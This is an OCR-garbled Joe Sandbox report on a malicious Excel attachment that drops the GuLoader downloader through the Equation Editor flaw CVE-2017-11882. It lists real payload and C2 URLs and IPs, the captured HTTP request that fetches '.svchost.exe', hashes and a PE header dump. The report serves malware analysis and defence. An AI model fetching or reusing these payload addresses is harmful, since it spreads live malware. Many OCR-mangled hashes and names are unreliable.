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Windows Analysis Report Booking Confirmation.xlsx

Overview

General Information

Sample Booking Confirmation.xIsx
Name:

Analysis ID: 448719

MD5: 870a4c72bccds8..
SHAL: 482681f75180bbb.
SHA256: 37fffcbacca5929...
Infos: R QS

wES HCR' HCA'
3
HI A 4

Most interesting Screenshot:

| eI IR |

Process Tree

= System is w7x64

. EXCEL.EXE (PID: 2668 cmdline: ‘C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: 5FBOAOF93382ECD19F5F499A5CAA59F0)

Hisastt

* Joo EQNEDT32.EXE (PID: 3056 cmdline: ‘C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding MD5:
A87236E214F6D42A65F5DEDAC816AECS)

Detection

Score:

Range:

Whitelisted:

Confidence:

MALICIOUS

GuLoader

100
0-100
false

100%

Signatures

Antivirus detection for URL or domain
Found malware configuration

Sigma detected: Droppers Exploiting...
Sigma detected: EQNEDT32.EXE c...
Sigma detected: File Dropped By EQ...
Yara detected Guloader

Yara detected Guloader

C2 URLs / IPs found in malware con...
Contains functionality to detect hard...
Detected RDTSC dummy instruction...
Drops PE files to the user root direc...
Office equation editor drops PE file

Office equation editor starts process...

Sigma detected: Execution from Sus...

3
2

o
o
o
5

e ' vbc.exe (PID: 2552 cmdline: 'C:\Users\Public\vbc.exe' MD5: FCFBOEC70F1419EDE8A534CC95CB61EY)

= cleanup

Malware Configuration

Threatname: GuLoader

{

"Payload URL": "http://ceattire.com/bin_UYDMbHwI28.bin"

Yara Overview

Dropped Files

Source

C:\Users\Public\vbc.exe

JoeSecurity_GulLoader_1

C:\Users\user\AppData\Local\Microsoft\Windows\Temp
orary Internet Files\Content.IES\ZAE7RW1P\.svchost[1].exe

Memory Dumps

Copyright Joe Security LLC 2021

Rule

JoeSecurity_GulLoader_1

Yara detected
GulLoader

Yara detected
GulLoader

Description Author Strings

Joe Security

Joe Security

Classification
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Source Rule Description Author Strings

00000006.00000002.2365772167.00000000004 JoeSecurity_GulLoader_1 Yara detected Joe Security
01000.00000020.00020000.sdmp GuLoader
00000006.00000002.2365714834.00000000002 JoeSecurity_GulLoader_2 Yara detected Joe Security
A0000.00000040.00000001.sdmp GuLoader
00000006.00000000.2148896829.00000000004 JoeSecurity_GuLoader_1 Yara detected Joe Security
01000.00000020.00020000.sdmp GuLoader

Unpacked PEs

Source Rule Description Author Strings
6.2.vbc.exe.400000.0.unpack JoeSecurity_GuLoader_1 Yara detected Joe Security

GulLoader
6.0.vbc.exe.400000.0.unpack JoeSecurity_GuLoader_1 Yara detected Joe Security

GulLoader

Sigma Overview

Exploits:

Sigma detected: EQNEDT32.EXE connecting to internet

Sigma detected: File Dropped By EQNEDT32EXE

System Summary:

Sigma detected: Droppers Exploiting CVE-2017-11882

Jbx Signature Overview

g

Click to jump to signature section

AV Detection:

=

Antivirus detection for URL or domain

Found malware configuration

Exploits:

]‘

Networking:

j‘

System Summary:

Data Obfuscation:

=

Yara detected GuLoader

Yara detected GuLoader
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Boot Survival:

Malware Analysis System Evasion:

Mitre Att&ck Matrix

Initial

Access Execution Persistence

Valid Exploitation for  Path

Accounts  Client Interception

Execution

Default Scheduled Boot or

Accounts  Task/Job Logon
Initialization
Scripts

Domain At (Linux) Logon Script

Accounts (Windows)

Local At (Windows)  Logon Script

Accounts (Mac)

Cloud Cron Network

Accounts Logon Script

Replication Launchd Rc.common

Through

Removable

Media

Behavior Graph
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Privilege
Escalation

Process

Injection

Extra Window
Memory
Injection

Logon Script
(Windows)

Logon Script
(Mac)

Network
Logon Script

Rc.common

Defense Evasion

Masquerading

Virtualization/Sandbox
Evasion

Process Injection

Obfuscated Files or

Information

Extra Window Memory
Injection

Steganography

Credential
Access

os

Credential
Dumping

LSASS
Memory

Security
Account
Manager

NTDS

LSA
Secrets

Cached
Domain
Credentials

Discovery

Security Software

Discovery

Virtualization/Sandbox
Evasion

Process Discovery

Remote System
Discovery

File and Directory
Discovery

System Information

Discovery

Lateral
Movement Collection Exfiltration

Remote Archive Exfiltration
Services Collected  Over Other
Data Network
Medium

Remote Data from  Exfiltration
Desktop Removable Over
Protocol Media Bluetooth

SMB/Windows Data from  Automated
Admin Shares Network Exfiltration
Shared

Drive

Distributed Input Scheduled
Component Capture Transfer
Object Model

SSH Keylogging Data
Transfer
Size Limits
VNC GUI Input  Exfiltration
Capture Over C2
Channel

Command and  Network
Control Effects
Encrypted Eavesdrc
Channel Insecure
Network
Commun
Ingress Tool Exploit S
Transfer Redirect
Calls/SM
Non-Application  Exploit S
Layer Protocol Track De
Location
Application Layer SIM Carc
Protocol Swap
Fallback Manipula
Channels Device
Commun
Multiband Jamming
Communication  Denial of
Service
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Hide Legend

Behavior Graph L d
egen
o e ===
Sample: Booking Confirmation.xlsx Process

Startdate: 14/07/2021 Signature
Architecture:  WINDOWS

[]
£
Score: 100 . Created File
N
Py
s

DNS/IP Info

EoNEDTZEXE g [3 exceexe . Number of created Files
- _ v Visual Basic
ERZIC
g ICRTEN

Is Dropped
Is Windows Process

E ks Number of created Registry Values

Delphi
Java

.Net C# or VB.NET

180.214.239.39, 49165, 80 2

VNPT-AS-VNVIETNAMPOSTSANDTELECOMMUNICATIONSGROUPVN dropped dropped

C, C++ or other language
Viet Nam [#

Is malicious

Internet

@@@amm

Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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Booking Confirmation - Microsoft Excel

Home | Insert  Pagelayout  Formulas  Data  Review  View
¥ cut
Ea copy v

Calibri AW =

- Format Painter BT

Clipboard Alignment

i "
@] Fin - =
Format

&2 Clear ~
Editing

Microsoft’

1 Offic

S This document is

¢ protected

M 4 » M| Sheet2 Sheet3

IEEER S

Ready |
S s

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

No Antivirus matches

Dropped Files

Source

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IES\ZAE7RW1

P\.svchost[1].exe

C:\Users\Public\vbc.exe

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

Source
hitp://ceattire.com/bin_UYDMbHwI28.bin
hitp://180.214.239.39/port/.svchost.exe

Copyright Joe Security LLC 2021

Detection
7%

7%

Detection
0%
100%

Scanner Label Link

ReversingLabs Win32.Trojan.Vebzenpak

ReversingLabs Win32.Trojan.Vebzenpak

Scanner Label Link
Avira URL Cloud safe

Avira URL Cloud malware
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Domains and IPs

Contacted Domains

No contacted domains info

Contacted URLs

Name Malicious Antivirus Detection Reputation

URLs from Memory and Binaries

Contacted IPs

Public

P Domain

Country Flag ASN ASN Name Malicious

General Information

Joe Sandbox Version:

Analysis ID:

Start date:

Start time:

Joe Sandbox Product:

Overall analysis duration:

Hypervisor based Inspection enabled:
Report type:

Sample file name:

Cookbook file name:

Analysis system description:

Number of analysed new started processes
analysed:

Number of new started drivers analysed:
Number of existing processes analysed:
Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

EGA Information:
HDC Information:

HCA Information:

Copyright Joe Security LLC 2021

33.0.0 White Diamond

448719

14.07.2021

16:54:15

CloudBasic

Oh 7m 14s

false

light

Booking Confirmation.xIsx
defaultwindowsofficecookbook.jbs

Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET
4.6.2)

5

o o o N

e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled

default

Timeout

MAL
mal100.troj.expl.evad.winXLSX@4/11@0/1
Failed

Failed

e Successful, ratio: 53%
e Number of executed functions: 0
e Number of non-executed functions: 0
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Cookbook Comments: Adjust boot time

Enable AMSI

Found application associated with file extension: .xIsx
Found Word or Excel or PowerPoint or XPS Viewer
Attach to Office via COM

Scroll down

Close Viewer

Warnings: Show All

Simulations

Behavior and APIs

Time Type Description

16:55:06 API Interceptor 77x Sleep call for process: EQNEDT32.EXE modified

Joe Sandbox View | Context

IPs

Match Associated Sample Name /| URL SHA 256 Detection

o _ o o
_ o o

Domains

No context

ASN

Match Associated Sample Name / URL SHA 256 Detection

VNPT-AS- Get hash malicious

VNVIETNAMPOSTSANDTELECOMMU
NICATIONSGROUPVN

Get hash malicious

Get hash malicious

Get hash malicious
Get hash malicious
Get hash malicious

Get hash malicious

Get hash malicious

Get hash malicious

Get hash malicious

Get hash malicious
Get hash malicious
Get hash malicious
Get hash malicious
Get hash malicious
Get hash malicious

Get hash malicious

Get hash malicious

Get hash malicious

Get hash malicious

Copyright Joe Security LLC 2021

Link

Browse

Browse

Link
Browse
Browse

Browse

Browse
Browse
Browse

Browse

Browse

Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse

Browse

Browse

Context

180.214.2
39.39/ssh/
.svchost.exe

180.214.2
39.39/mssn
I.svchost.exe

Context

103.140.250.43
103.89.90.94

103.133.10
6.144

103.89.91.38
103.140.250.43
103.89.90.94

103.133.10
6.117

103.133.10
4.146

103.89.90.94

103.133.10
6.117

103.140.250.43
103.89.90.94
103.140.250.43
103.145.253.94
180.214.239.39
103.89.90.94

103.133.10
6.117

103.133.10
6.117

103.140.250.43
180.214.239.39
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https://view.joesandbox.com/analysis/350008/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/350008/html/none?idtype=webid
https://view.joesandbox.com/analysis/349309/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/349309/html/none?idtype=webid
https://view.joesandbox.com/analysis/351862/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351862/html/none?idtype=webid
https://view.joesandbox.com/analysis/351851/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351851/html/none?idtype=webid
https://view.joesandbox.com/analysis/351733/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351733/html/none?idtype=webid
https://view.joesandbox.com/analysis/351652/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351652/html/none?idtype=webid
https://view.joesandbox.com/analysis/351474/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351474/html/none?idtype=webid
https://view.joesandbox.com/analysis/351447/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351447/html/none?idtype=webid
https://view.joesandbox.com/analysis/351270/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351270/html/none?idtype=webid
https://view.joesandbox.com/analysis/351237/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351237/html/none?idtype=webid
https://view.joesandbox.com/analysis/351234/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351234/html/none?idtype=webid
https://view.joesandbox.com/analysis/351172/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351172/html/none?idtype=webid
https://view.joesandbox.com/analysis/350597/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/350597/html/none?idtype=webid
https://view.joesandbox.com/analysis/350587/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/350587/html/none?idtype=webid
https://view.joesandbox.com/analysis/350171/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/350171/html/none?idtype=webid
https://view.joesandbox.com/analysis/350168/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/350168/html/none?idtype=webid
https://view.joesandbox.com/analysis/350008/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/350008/html/none?idtype=webid
https://view.joesandbox.com/analysis/349940/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/349940/html/none?idtype=webid
https://view.joesandbox.com/analysis/349552/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/349552/html/none?idtype=webid
https://view.joesandbox.com/analysis/349519/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/349519/html/none?idtype=webid
https://view.joesandbox.com/analysis/349385/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/349385/html/none?idtype=webid
https://view.joesandbox.com/analysis/349309/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/349309/html/none?idtype=webid

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Yara Hits:

Antivirus:

Reputation:

|IE Cache URL:

Preview:

C:\Program Files\Common Files\Microsoft Shared\ EQUATION\EQNEDT32.EXE

PE32 executable (GUI) Intel 80386, for MS Windows

downloaded

267376

4.7769054763067915

false

1536:x2M5j2eBXFSchssSe/W+dMa27qQ0Z9Dfs4lwNAvgilOm72tNHLg/8A: T5FXrbVTeE2uQU7s49AMUrg/8A
FCFBOEC70F1419EDEBA534CC95CB61E9

D3B529D77F1DEO0D63A75B3956D4BCF6BBCE30CA
FF1B034C7060724133C6DFOAABCF5411ECOE6775D3ACA83A127617340A8C588A
FFEC36B157F889A2BD351B9D8423B247138A5FD2E57DE83BB1253336518431136A265D244B653AF470A8D04E2674CACADF467C065A7FC38F10EFFEDD705AB24:
true

e Rule: JoeSecurity_GuLoader_1, Description: Yara detected GuLoader, Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet
Files\Content.IES\ZAE7RW1P\.svchost[1].exe, Author: Joe Security

e Antivirus: ReversingLabs, Detection: 7%

low

http://180.214.239.39/port/.svchost.exe

..... ..@.. .L.IThis program cannot be run in DOS mode....$.. ....Rich............ .

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\2E7724F .jpeg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

[TIFF image data, big-endian, direntries=4], baseline, precision 8, 654x513, frames 3
dropped

62140

7.529847875703774

false

1536:S30U+TLACuTO/G6VepVUXKHU9CongJvsg:vCThVKVzHU9ConWvIF
722C1BE1697CFCEAE7BDEFB463265578
7D300A2BAB951B475477FAA308E4160C67AD93A9
2EE4908690748F50B261A796E6932FBCA10A79D83C316A9CEE92726CA4453DAE
2F38E0581397025674FA40B20E73B32D26F43851BE9A8DFAOB1655795CDC476A5171249D1D8D383693775EDIF132FAG6BB56D92A8949191738AF05DA053C4E561

false

moderate, very likely benign file

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\33A5C606.jpeg

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

JPEG image data, JFIF standard 1.01, resolution (DPI), density 150x150, segment length 16, baseline, precision 8, 1275x1650, frames 3
dropped

85020

7.2472785111025875

false

768:RgngDY(qspFlysF6bCd+ksdsOcdAgfpS56wmdhcspOPxm00JkxuacpxoOIWEF3hVL:RUgQGsF60dxW6ImPncpxoOthOip
738BDB90A9D8929A5FB2D06775F3336F

6A92C54218BFBEF83371E825D6B68D4F896CODCE
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C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\33A5C606.jpeg

SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

8A2DB44BA9111358AFE9D111DBB4FC726BA006BFA3943C1EEBDASA13F87DDAAB
48FB23938E05198A2FE136F5E337A5E5C2D05097AE82AB943EE16BEB23348A81DA55AA030CB4ABCC6129F6EEDSEFC176FECFOBEF4ECAEEGC342FC76CCDA4E
8D6

false

moderate, very likely benign file

...... JFIFCCr}'lA .Qa.'q.
2. #B..R.$3DN....... %& ()*456789:CDEFGHIISTUVWXY ZCASTGNISIUVWRYZ. . oeoeeeeee oo eeeeeeeeeeceeeesseeeeesseeeeseeeseeeseeseeeseesesseeeeseeeessss W 11.AQ
aq."2...B.... #3R..br..$4.% e e ( Ll
o o o o o (oot P PR PP ((((((((((((((((((((((((((((((((((((((((((((((((((((
O O O G R O N R e e R e e N

,\,-\

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\3E10AF3D.emf

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MDS5:
SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

Windows Enhanced Metafile (EMF) image data version 0x10000

dropped

648132

2.812180637073989

false

3072:y34ULOtS6WB0JOgFB5AEATrgXuzgn8nG/ac+5:c4UcLe0JOcXuunhgcS
AF315ACBEB03E8A5729F0B6BOCA5942C
C21EDD8E79667300365573DF36DBEAD853977E9C
013B5B9200F01398565C59B4F815AF21F513FF7DC696787C8D838A510A101199
F3F6E76076AB29217315D2ECOE3E2F976290282F2F7F2FE6B6B4ED18363221E829882C306A01C75C4C81684884DF8F195869A889A83A12C13447F9A505A69FED

false

low

XX FL\LPLEMFH'@.

..EP.@U.

@.. %. %.. L.@."Calibri.
LZ P SO O B W A .. X...D.I.
x./.8.P.......dv ..6..F..$.

...... EMF+*@$’7”@@*@$’)

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\87034804.png

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

PNG image data, 816 x 552, 8-bit/color RGB, non-interlaced

dropped

94963

7.9700481154985985

false
1536:U75cCbhvDOPYFuxgYx30CS9ITdjg/DnjKgLgA/cx8zJjCKouoRWWH/EXXXXXXXXXB:KAPVZZ+0q/3TLPcx8zJjCXaWFEXXXXXB
17EC925977BED2836071429D7B476809

7A176027FFD13AA407EF29EA42C8DDF7FOCC5D5C
83905385F5DF8E961CE87C8CAF5E2F470CBA3198A6C1ABB0258218D932DDF2E9
3E63730BC8FFEAD4A57854FEA1F1F137F52683734B68003480030DA77379EF6347115840280B63B75D61569B2F4F307B832241E3CEC23AD27A771F7B16D199A2

false

PNG.......IHDR...0...(....9......SRGB.........gAMA......a.....pHYs.......... o.d....IDATx" .ez.b$.P."7Jd.8.......C.C.mF.&....F.[..Zk.>g..{.UT.S"0....
'$'S'S'S’S..Q4....._...7..97.6.6.6.6.6.6.6......$... 1300 Z e, e X...O.M.M.MM.MMM.M..>...0lLLLLZI@. &

o Como b X W.7.6.6.6.6.6.1.6 £.0999))-)- 4. MMM.M.M.M.M..A.. A8 VI.I.I.I.I.I..b 1@...W}S'S'S'S'S'S.eP .. ...
6.6.6.6 6{ 19990+ MMMMMM.A_ABVILLLLLLDI@...w}S'S'S'S'S'S.eP .. 1. 2. b0 LLLLLL @, ~S'S'S'S'S'SS".=.6.6.6.6.6.6.6.506 ..
DD DD 15 W oo LMMMMMMM.L.>. 0LLLLLL@..........0dX.7.6.6.666.66.55SSSSSS.S. <.

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\89452338.jpeg

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHAL:
SHA-256:
SHA-512:

Malicious:

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

[TIFF image data, big-endian, direntries=4], baseline, precision 8, 654x513, frames 3
dropped

62140

7.529847875703774

false

1536:S30U+TLACuTO/G6VepVUXKHU9CongJvlsg:vCThVKVzHU9ConWvJF
722C1BE1697CFCEAE7BDEFB463265578
7D300A2BAB951B475477FAA308E4160C67AD93A9
2EE4908690748F50B261A796E6932FBCA10A79D83C316A9CEE92726CA4453DAE
2F38E0581397025674FA40B20E73B32D26F43851BE9A8BDFAOB1655795CDC476A5171249D1D8D383693775EDIF132FAG6BB56D92A8949191738AF05DA053C4E561

false
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C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.MS0O\89452338.jpeg

Preview:

...... JFIF o EXIELMIMLE i R LR

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\C86F0153.jpeg

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 150x150, segment length 16, baseline, precision 8, 1275x1650, frames 3
Category: dropped

Size (bytes): 85020

Entropy (8bit):  7.2472785111025875

Encrypted: false

SSDEEP: 768:RgngDY(qspFlysF6bCd+ksdsOcdAgfpS56wmdhcspOPxm00JkxuacpxoOIWEF3hVL:RUgQGsF60dxW6JImPncpxoOthOip

MDS5: 738BDB90AID89I29A5FB2D06775F3336F

SHA1L: 6A92C54218BFBEF83371E825D6B68D4F896CODCE

SHA-256: 8A2DB44BA9111358AFE9D111DBB4FC726BA006BFA3943C1EEBDASA13F87DDAAB

SHA-512: 48FB23938E05198A2FE136F5E337A5E5C2D05097AE82AB943EE16BEB23348A81DA55AA030CB4ABCC6129F6EEDSEFC176FECFOBEF4ECAEE6C342FC76CCDAA4E
8D6

Malicious: false

Preview:

2. #B...R..$3br
.ag."2..B.... #3R..br..$4.%
O O 0 G GO0 O O O GO0 GO O GO O Y GO0 O O GO GO G O GO O Y O O L O O B O O
O O B G N O SR R O R e

C:\Users\luser\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\E9A0341A.emf

Process: C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

File Type: Windows Enhanced Metafile (EMF) image data version 0x10000
Category: dropped

Size (bytes): 7592

Entropy (8bit):  5.4446939747299385

Encrypted: false

SSDEEP: 96:znUgcqHOVIIaX1/0q7r097v47LqLwiKG370V90aUd+dSOPUeljc:bU/NTVgalL0K790aUd+dQeljc

MD5: 90E7CF2722D8B0130292A0D91E15C2DF

SHA1L: B2FBF1814AC8BBEED7A6F3074703BA34B392F107

SHA-256: ED43E23E4285CO0EFBA4F46C6227BDDF4FD3C4DD758DD1280A6D8D5C21BD7E210

SHA-512: D280C16F0287FC2CC94CD9D08C7DDE11B24A14E720B910590A10445B1CC8FCOD57C323BBF1D5F9E9238E08135FD1609B8BF7094B7B408E4F82053C9F7C630AtL
Malicious: false

Preview:

. LN NG X @
L 1O SRR (U (U0 (OO (O (PO
HD>’\JHCcNJFfNJF|PMHIRPJoTPLrWQLvYRPxZUR{]XP~]WS ~ZSU[

T.c\U.e"U.e]W.g Y.hbY jY.ib\.Id].kd].nd".nf.

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\F50319D9.png

Process: C:\Program Files\Microsoft Office\Office l4\EXCEL.EXE

File Type: PNG image data, 816 x 552, 8-bit/color RGB, non-interlaced

Category: dropped

Size (bytes): 94963

Entropy (8bit):  7.9700481154985985

Encrypted: false

SSDEEP: 1536:U75cCbvDOPYFuxgYx30CS9ITdjg/DnjKqLagA/cx8zJjCKOUORWWH/EXXXXXXXXXB:KAPVZZ+0q/3TLPcx8zJjCXaWFEXXXXXB
MD5: 17EC925977BED2836071429D7B476809

SHAL: 7A176027FFD13AA407EF29EA42C8DDF7FOCC5D5C

SHA-256: 83905385F5DF8E961CE87C8CAF5E2F470CBA3198A6C1ABB0258218D932DDF2E9

SHA-512: 3E63730BC8FFEAD4A57854FEALF1F137F52683734B68003480030DA77379EF6347115840280B63B75D61569B2F4F307B832241E3CEC23AD27A771F7B16D199A2
Malicious: false

Preview:

pHYs.......... 0.d....IDATX"....e.z..b.$..P .~.Jd.8......... c.c.mF.&....F..[..Zk.>g..{.UT.S."0...eS'S'S

'S'S'S'S’S..Q{....._...7..97.6.6.6.6.6.6.6......$... IR % 5 1 5 1 1 T SO B %o OMMMMMMM.M...>. 0L ZI@. & @.
o Co X W.7.6.6.6.6.6.% 6.0 ) ))eeto MIM.M.M.M.M..A..A.8. VLLLLLLD@. WS'S'S'S' S S.eP .. L, T Xeor oM. +.dxw.7. e
6.6.6.6. 6{ 19999004 M.MM.M.MM.A.A8VILLLLLLDI@...W}S'S'S'S'S'S.eP".. L.............c..?....bOLLLLLL[ 1@... ~S'S'S’S'S'S'S"..=.6.6.6.6.6.6.6.0.6 ....?.

DD A5 1 S LMMMMMMM..L.>. 0LLLLLL@..ccoooooo.........d.X...7.6.6.6.6.6.6.6 .5'S'S'S'S'S'S'S..S"..<...

C:\Usersluser\Desktop\~$Booking Confirmation.xIsx
Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type: data
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C:\Usersluser\Desktop\~$Booking Confirmation.xIsx

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Yara Hits:
Antivirus:

Preview:

dropped

330

1.4377382811115937

false

3:vZ/FFDIwW2fj/FFDJIw2fV:.vBFFGaFFGS

96114D75E30EBD26B572C1FC83D1D02E
A44EEBDASEB09862AC46346227F06F8CFAF19407
0C6F8CFOE504C17073E4C614C8A7063F194E335D840611EEFA9E29C7CED1A523

52D33C36DF2A91E63A9B1949FDC5D69E6A3610CD3855A2E3FC25017BF0A12717FC15EBBAC6113DC7D69CO6ADA4A83FAFOF021AD7C8D30600AA8168348BDOFAS
0

false

.user LAl user JAlbuso oo

C:\Program Files\Common Files\Microsoft Shared\ EQUATION\EQNEDT32.EXE

PE32 executable (GUI) Intel 80386, for MS Windows

dropped

267376

4.7769054763067915

false

1536:x2M5j2eBXFSchssSe/W+dMa27qQ0Z9Dfs4lwNAvgilOm72tNHLg/8A: T5FXrbVTeE2uQU7s49AMUrg/8A
FCFBOEC70F1419EDE8A534CC95CB61E9

D3B529D77F1DEO0D63A75B3956D4BCF6BBCE30CA
FF1B034C7060724133C6DFOAABCF5411ECOE6775D3ACA83A127617340A8C588A
FFEC36B157F889A2BD351B9D8423B247138A5FD2E57DE83BB1253336518431136A265D244B653AF470A8D04E2674CACADF467C065A7FC38F10EFFEDD705AB24:
true

e Rule: JoeSecurity_GuLoader_1, Description: Yara detected GuLoader, Source: C:\Users\Public\vbc.exe, Author: Joe Security

e Antivirus: ReversingLabs, Detection: 7%

.L.IThis program cannot be run in DOS mode....$..

Static File Info

General

File type: CDFV2 Encrypted

Entropy (8bit): 7.994338822907313

TriD: e Generic OLE2 / Multistream Compound File

(8008/1) 100.00%

File name: Booking Confirmation.xIsx

File size: 1221992

MDS5: 870a4c72bccd58de144c7b845d56¢626

SHA1L: 482681f75180bbb1286e1f93ce44dfae0b6b0007

SHA256: 37fffcbacca59290a7a3b6271ebf475a50b9e17eball345
9cfc00508a7268b68

SHA512: 0281d94a5119fbd46012ae0c9d9aedad400264803feb6f1l
224f031750673d7f30de78f594713b7a00c081794d39173
f4992fd27dd9e8ef0fae4f82ffe523cfbf

SSDEEP: 24576:kux4KztYcWgmU+Y/6bHtPVa6dneKiAqI3RWEM
yfhc:pmK6ImUP8tPValKcjyfhc

File Content Preview: >

File Icon

Icon Hash:

ede2aaB8aadb4bcb4
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Static OLE Info

General
Document Type:

Number of OLE Files:

OLE File "Booking Confirmation.xIsx"

Indicators

Has Summary Info:

Application Name:

Encrypted Document:

Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:
Contains Visio Document Stream:
Contains ObjectPool Stream:

Flash Objects Count:

Contains VBA Macros:

Streams

Network Behavior

Network Port Distribution

TCP Packets

HTTP Request Dependency Graph

e 180.214.239.39

HTTP Packets

Session ID Source IP

0 192.168.2.22
kBytes

Timestamp transferred

Jul 14, 2021 0

16:55:36.154084921 CEST

Copyright Joe Security LLC 2021

Source Port
49165

Direction
ouT

OLE

False
unknown
True
False
False
False

False

False

Destination IP  Destination Port Process

180.214.239.39 80

Data

GET /port/.svchost.exe HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: 180.214.239.39
Connection: Keep-Alive

C:\Program Files\Common Files\Microsoft Shared\ EQUATION\EQNEDT32.EXE
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kBytes
Timestamp transferred Direction

Jul 14, 2021 1 IN
16:55:36.409609079 CEST

Code Manipulations

Statistics

Behavior

)

Click to jump to process

System Behavior

Data

HTTP/1.1 200 OK

Date: Wed, 14 Jul 2021 14:55:35 GMT

Server: Apache/2.4.47 (Win64) OpenSSL/1.1.1k PHP/7.3.28

Last-Modified: Tue, 13 Jul 2021 17:05:39 GMT

ETag: "41470-5c7043f493d18"

Accept-Ranges: bytes

Content-Length: 267376

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: application/x-msdownload

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 c7 bf 79 da 83 de 17 89 83 de 17 89 83 de 17 89 00 c2 19 89 82 de 17 89 cc fc 1le
89 87 de 17 89 b5 f8 1a 89 82 de 17 89 52 69 63 68 83 de 17 89 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 e2 ca
46 52 00 00 00 00 00 00 00 00 e0 00 Of 01 Ob 01 06 00 00 60 03 00 00 90 00 00 00 00 00 00 70 14 00 00 00 10 00 00 00 7
